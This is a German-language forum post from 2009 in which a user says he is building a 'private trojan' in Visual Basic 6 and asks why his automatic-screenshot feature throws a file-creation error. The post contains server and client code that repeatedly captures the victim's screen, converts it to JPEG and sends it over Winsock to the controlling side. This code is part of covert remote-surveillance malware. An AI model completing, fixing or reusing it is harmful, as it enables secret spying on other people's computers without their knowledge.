|
| Autor |
Nachricht |
localhost
Newbie
Anmeldedatum: 06.04.2009
Beiträge: 2
|
VB6 Screens automatisch senden
Verfasst am: 09.04.2009, 19:24 |
|
|
Hallo, ich hab ein Problem.
Ich baue zur Zeit einen privaten Trojaner, die ich für LAN Zwecke verwende.
Ich hab das Problem, dass wenn ich beim Clienten die Checkbox "automatisch" anklicke, immer Screenshots empfangen werden, aber wenn ich dann die checkbox "automatisch" abklicke, kommt ein Fehler:
Laufzeitfehler '-2147418113 (8000ffff)':
Cannot creat file C:\screen.jpg
...
Hier der Sourcecode vom Client & Server:
Server
winsock_dataarival ...
| Code: | If arr(0) = "xd" Then
If arr(1) = "ja" Then
Do
Call ScreenShot
SavePicture Picture1.Image, "C:\screen.bmp"
sMsg = janConvDLL.ConvertEx(aFile1, aFile2, 0, 0, False, 70)
Kill (aFile1)
WinsockSendBinaryFile "C:\screen.jpg"
Loop
End If
If arr(1) = "nein" Then
Sleep (5000)
Call ScreenShot
SavePicture Picture1.Image, "C:\screen.bmp"
sMsg = janConvDLL.ConvertEx(aFile1, aFile2, 0, 0, False, 70)
Kill (aFile1)
WinsockSendBinaryFile "C:\screen.jpg"
End If
End If |
Client
| Code: | Private Sub Command1_Click()
If Check1.Value = 1 Then
Form1.Winsock1.SendData "xd#ja#"
Else
Form1.Winsock1.SendData "xd#nein#"
End If
End Sub
|
Hoffe mir kann geholfen werden... 
Danke im Vorraus
Mfg |
|
| |
|
 |
|
|
Registrieren
Login
